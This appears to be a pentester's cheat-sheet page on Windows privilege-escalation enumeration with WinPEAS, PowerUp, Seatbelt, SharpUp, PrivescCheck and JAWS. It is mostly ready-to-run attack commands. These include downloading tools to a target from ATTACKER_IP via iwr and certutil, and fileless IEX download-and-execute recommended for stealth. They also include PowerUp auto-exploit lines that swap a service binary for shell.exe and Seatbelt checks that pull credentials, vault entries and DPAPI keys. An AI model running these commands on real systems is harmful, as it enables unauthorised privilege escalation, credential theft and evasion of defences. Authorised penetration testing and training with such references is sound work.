> ## Documentation Index
> Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
> Use this file to discover all available pages before exploring further.

# WinPEAS / Automated Enumeration

> Automated Windows privilege escalation enumeration with WinPEAS, PowerUp, Seatbelt, and SharpUp.

## WinPEAS

Most comprehensive Windows enumeration tool.

### Download

```bash theme={"dark"}
https://github.com/peass-ng/PEASS-ng/releases

# .exe (recommended)
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe -o winPEASx64.exe

# .bat (no .NET required)
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEAS.bat -o winPEAS.bat
```

### Transfer to Target

```powershell theme={"dark"}
iwr http://ATTACKER_IP/winPEASx64.exe -OutFile winPEAS.exe
certutil -urlcache -f http://ATTACKER_IP/winPEASx64.exe winPEAS.exe
```

### Run

```cmd theme={"dark"}
winPEAS.exe
```

### Specific Checks

```cmd theme={"dark"}
winPEAS.exe quiet                  # Less output
winPEAS.exe quiet systeminfo       # System info only
winPEAS.exe quiet servicesinfo     # Services only
winPEAS.exe quiet userinfo         # User info only
winPEAS.exe quiet networkinfo      # Network only
winPEAS.exe quiet applicationsinfo # Applications
winPEAS.exe quiet windowscreds     # Windows credentials
winPEAS.exe quiet browserinfo      # Browser data
winPEAS.exe quiet filesinfo        # Interesting files
```

### Save Output

```cmd theme={"dark"}
winPEAS.exe > winpeas_output.txt
```

### Color Legend

| Color | Meaning                                                           |
| ----- | ----------------------------------------------------------------- |
| Red   | Interesting / misconfigured or special privilege (pentester view) |
| Green | Something well configured / a protection is enabled               |
| Cyan  | Active users                                                      |
| Blue  | Disabled users                                                    |

***

## PowerUp (PowerShell)

Part of PowerSploit. Checks common misconfigurations.

### Download

```bash theme={"dark"}
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
```

### Load

```powershell theme={"dark"}
. .\PowerUp.ps1
```

```powershell theme={"dark"}
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/PowerUp.ps1')
```

### Run All Checks

```powershell theme={"dark"}
Invoke-AllChecks
```

### Specific Checks

```powershell theme={"dark"}
Get-UnquotedService
Get-ModifiableService
Get-ModifiableServiceFile
Get-RegistryAlwaysInstallElevated
Get-RegistryAutoLogon
Get-ModifiablePath
Get-CurrentUserTokenGroupSid
```

### Auto-exploit

```powershell theme={"dark"}
Invoke-ServiceAbuse -Name 'VulnService'
Write-ServiceBinary -Name 'VulnService' -Path C:\Windows\Temp\shell.exe
```

***

## Seatbelt (.NET)

Security-focused enumeration. Detailed but no auto-exploit.

```bash theme={"dark"}
https://github.com/GhostPack/Seatbelt
```

### Run All Checks

```cmd theme={"dark"}
Seatbelt.exe -group=all
```

### Specific Groups

```cmd theme={"dark"}
Seatbelt.exe -group=system       # System info
Seatbelt.exe -group=user         # User info
Seatbelt.exe -group=misc         # Misc checks
Seatbelt.exe -group=chromium     # Chromium-based browser data
```

### Individual Commands

```cmd theme={"dark"}
Seatbelt.exe TokenPrivileges
Seatbelt.exe InterestingFiles
Seatbelt.exe CredEnum
Seatbelt.exe WindowsVault
Seatbelt.exe DpapiMasterKeys
```

***

## SharpUp (.NET)

GhostPack. Checks same things as PowerUp but in C#.

```bash theme={"dark"}
https://github.com/GhostPack/SharpUp
```

```cmd theme={"dark"}
SharpUp.exe audit
```

***

## PrivescCheck (PowerShell)

Modern alternative to PowerUp.

```bash theme={"dark"}
https://github.com/itm4n/PrivescCheck
```

```powershell theme={"dark"}
. .\PrivescCheck.ps1
Invoke-PrivescCheck
Invoke-PrivescCheck -Extended    # More checks
Invoke-PrivescCheck -Report PrivescCheck_report -Format HTML
```

***

## JAWS (PowerShell)

Lightweight, fewer dependencies.

```bash theme={"dark"}
https://github.com/411Hall/JAWS
```

```powershell theme={"dark"}
. .\jaws-enum.ps1
```

***

## Quick Decision

| Scenario                         | Tool                          |
| -------------------------------- | ----------------------------- |
| Full enumeration, .NET available | WinPEAS.exe                   |
| No .NET                          | winPEAS.bat or JAWS           |
| PowerShell available             | PowerUp or PrivescCheck       |
| Need auto-exploit                | PowerUp (Invoke-ServiceAbuse) |
| Security audit detail            | Seatbelt                      |
| Stealth (no file on disk)        | IEX download + PowerUp        |